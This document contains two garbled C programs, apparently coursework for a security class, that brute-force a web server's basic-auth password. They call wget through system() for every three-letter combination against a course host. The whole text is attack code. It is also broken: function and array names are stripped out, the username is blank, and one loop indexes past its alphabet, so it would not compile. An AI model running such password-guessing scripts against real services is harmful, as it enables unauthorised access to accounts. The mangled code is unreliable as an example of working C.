#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <sys/time.h>
#define ant 1e9

int ()
{
char c[2],[3][2];
register int i,j,k,x,y,z,t,r,s,final,count=0;
int starttime,endtime,totaltime; 
char ch[5],ch1[5],ch2[5],s1[100],s2[100];
c[0]='A',c[1]='a';
[0][1]=[1][1]=[2][1]='\0';

strcpy(s1, "wget --http-user= --http-passwd=");
    strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/");

starttime=time();

for(r=0;r<=1;r++)
{
	
	for(i=c[r],x=0;x<=25;x++,i++)
	{
		
		 [0][0]=i;
		 strcpy(ch,[0]);


		for(s=0;s<=1;s++)
		{
			for(j=c[s],z=0;z<=25;z++,j++)
			{	
		
				[1][0]=j;
				strcpy(ch1,[0]);
				strcat(ch1,[1]);

				for(t=0;t<=1;t++)
				{
					for(k=c[t],y=0;y<=25;y++,k++)
					{	count++;
						[2][0]=k;
						strcpy(ch2,ch1);
						strcat(ch2,[2]);
						printf("\n  %s",ch2);



         strcat(s1, ch2);
          strcat(s1, s2);
	  printf("\n combination sent %s\n", s1);
          final = system(s1);
          if (final == 0)
          {
            endtime=time();
		totaltime=(endtime-starttime);
		 printf("count %d",count);
	    printf("totaltime %1f",(double)totaltime/ant);
	    printf("\nsuccess %s\n",ch2);
            exit(1);
          }


	  strcpy(s1, "");
	  strcpy(s1, "wget --http-user= --http-passwd=");


				}

				}
			}

		}
	   }
}

}




#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  char url[80], url1[80];
  int i, j, k, syst = 1, nofattempts = 0;
  char c1, c2, c3, pass[4];
  int time_var,time1,time2, timeinsec;
  time1 = time();

  char itoa[52] = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ";

  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");

  for (i = 1; i <= 52; i++)
  {
    for (j = 1; j <= 52; j++)
    {
      for (k = 1; k <= 52; k++)
      {
          fflush(stdin);
          c1 = itoa[i];
          c2 = itoa[j];
          c3 = itoa[k];
          pass[0] = c1;
          pass[1] = c2;
          pass[2] = c3;
    	  pass[3] = '\0';
          strcat(url, pass);
          strcat(url, url1);
	      ++nofattempts;
          syst = system(url);
          printf("%s\n",pass);
          if (syst == 0)
          {
            time2 = time();
            time_var = time2 - time1;
            timeinsec = time_var / 1000000000;
            printf("  Number of Attempts  is %d", nofattempts);
            printf("\n Found it! The Password is: %s\n", pass);
            printf("\n The time_var taken  crack the password by brute force is %lld seconds\n", timeinsec);
            exit(1);
          }
	      strcpy(url, "");
    	  strcpy(url, "wget --http-user= --http-passwd=");
      }
    }
  }
  exit(0);
}
